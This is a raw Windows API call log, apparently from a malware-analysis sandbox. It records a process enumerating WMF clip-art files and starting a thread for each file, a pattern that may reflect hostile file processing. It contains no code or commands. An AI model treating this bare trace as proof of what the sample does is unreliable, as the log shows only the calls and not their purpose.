	[0211.165] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1
	[0211.165] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x173c
	[0211.168] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.169] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1
	[0211.169] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740
	[0211.171] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.171] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1
	[0211.171] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1744
	[0211.174] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.175] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1
	[0211.175] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1748
	[0211.178] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.178] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1
	[0211.178] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174c
	[0211.181] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.181] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1
	[0211.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1750
	[0211.184] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.185] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1
	[0211.185] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1754
	[0211.480] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.480] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1
	[0211.480] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1758
	[0211.483] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.483] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1
	[0211.483] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x175c
	[0211.486] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.486] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1
	[0211.486] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1760
	[0211.489] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.490] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1
	[0211.490] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1764
	[0211.492] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.493] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1
	[0211.493] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1768
	[0211.495] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.495] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1
	[0211.496] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x176c
	[0211.499] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.499] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1
	[0211.499] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1770
	[0211.501] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.502] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1
	[0211.502] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1774
	[0211.505] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.506] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1
	[0211.506] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1778
	[0211.508] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.509] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1
	[0211.509] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x177c
	[0211.511] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.512] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1
	[0211.512] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1780
	[0211.867] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.868] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1
	[0211.868] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1784
	[0211.871] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.871] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1
	[0211.877] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1788
	[0211.880] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.881] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1
	[0211.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178c
	[0211.884] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.884] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1
	[0211.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1790
	[0211.888] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.888] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1
	[0211.888] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1794
	[0211.890] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.891] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1
	[0211.891] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1798
	[0211.893] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.894] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1
	[0211.894] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x179c
	[0211.896] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.896] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1
	[0211.897] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a0
	[0211.899] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.900] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1
	[0211.900] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a4
	[0211.902] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
